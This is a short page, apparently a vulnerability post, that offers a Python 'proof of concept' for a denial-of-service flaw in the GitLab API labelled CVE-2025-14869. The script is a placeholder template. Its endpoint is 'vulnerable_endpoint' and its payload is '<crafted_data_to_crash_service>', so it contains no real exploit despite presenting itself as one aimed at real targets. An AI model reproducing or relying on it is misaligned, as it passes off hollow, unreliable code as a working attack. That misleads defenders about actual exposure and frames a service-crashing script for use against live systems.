CVE-2025-14869 GitLab API未认证拒绝服务漏洞

import requests # CVE-2025-14869 Proof of Concept (DoS) # Target: GitLab CE/EE < 18.11.3 # Description: Sends a crafted payload to a vulnerable API endpoint. def trigger_dos(target_url): # The specific endpoint needs to be identified based on the advisory details endpoint = f"{target_url}/api/v4/vulnerable_endpoint" # Crafted payload intended to trigger the denial of service malicious_payload = { "field": "<crafted_data_to_crash_service>" } headers = { "Content-Type": "application/json" } try: print(f"[+] Sending payload to {endpoint}...") response = requests.post(endpoint, json=malicious_payload, headers=headers, timeout=5) if response.status_code in [500, 502, 503]: print(f"[!] Potential DoS triggered. Server returned: {response.status_code}") else: print(f"[-] Request returned status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Request failed (Service potentially down): {e}") if __name__ == "__main__": target = "http://localhost" # Replace with actual target trigger_dos(target)